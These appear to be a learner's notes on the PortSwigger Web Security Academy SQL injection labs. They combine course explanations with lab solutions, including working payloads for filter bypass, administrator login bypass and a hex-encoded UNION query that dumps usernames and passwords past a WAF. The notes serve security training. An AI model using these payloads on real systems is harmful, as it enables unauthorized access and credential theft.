Burpsuite Academy SQL Injection

Examples:

Retrieving hidden data, where you can modify an SQL query to return additional results.

Subverting application logic, where you can change a query to interfere with the application's logic.

UNION attacks, where you can retrieve data from different database tables.

Examining the database, where you can extract information about the version and structure of the database.

Blind SQL injection, where the results of a query you control are not returned in the application's responses.


--LAB 1--
https://0ac100389.web-security-academy.net/filter?category=Gifts'--
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 
(Released and unreleased products in Gifts Category)
https://0ac10038.web-security-academy.net/filter?category=Gifts'+OR+1=1--
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
(Released and unreleased products in all Category including hidden category also)


--LAB 2--
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
--(The 2nd ' after administrator will automatically come in SQL queary as it is coded)
username : administrator'--
password: anything

You can query the version details for the database. The way that this is done depends on the database type, so you can infer the database type from whichever technique works. For example, on Oracle you can execute:


SELECT * FROM v$version

You can also determine what database tables exist, and which columns they contain. For example, on most databases you can execute the following query to list the tables:


SELECT * FROM information_schema.tables

SQL Injection Cheetsheet https://portswigger.net/web-security/sql-injection/cheat-sheet

The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.

SQL injection can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves:

Submitting the single quote character ' and looking for errors or other anomalies.

Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses.

Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application's responses.

Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differences in the time taken to respond.

Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitoring for any resulting interactions.

But SQL injection vulnerabilities can in principle occur at any location within the query, and within different query types. The most common other locations where SQL injection arises are:

In UPDATE statements, within the updated values or the WHERE clause.

In INSERT statements, within the inserted values.

In SELECT statements, within the table or column name.

In SELECT statements, within the ORDER BY clause.

These different formats may even provide alternative ways for you to obfuscate attacks that are otherwise blocked due to WAFs and other defense mechanisms. Weak implementations often just look for common SQL injection keywords within the request, so you may be able to bypass these filters by simply encoding or escaping characters in the prohibited keywords. For example, the following XML-based SQL injection uses an XML escape sequence to encode the S character in SELECT:


<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>

This will be decoded server-side before being passed to the SQL interpreter.

Try determining the number of columns returned by the original query by appending a UNION SELECT statement to the original store ID:<storeId>1 UNION SELECT NULL</storeId>


--LAB 3-- Use of Hackvertor
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>
--As you can only return one column, you need to concatenate the returned usernames and passwords
--Send this query and observe that you've successfully fetched the usernames and passwords from the database, separated by a ~ character.

First-order SQL injection arises where the application takes user input from an HTTP request and, in the course of processing that request, incorporates the input into an SQL query in an unsafe way.

In second-order SQL injection (also known as stored SQL injection), the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability arises at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into an SQL query in an unsafe way.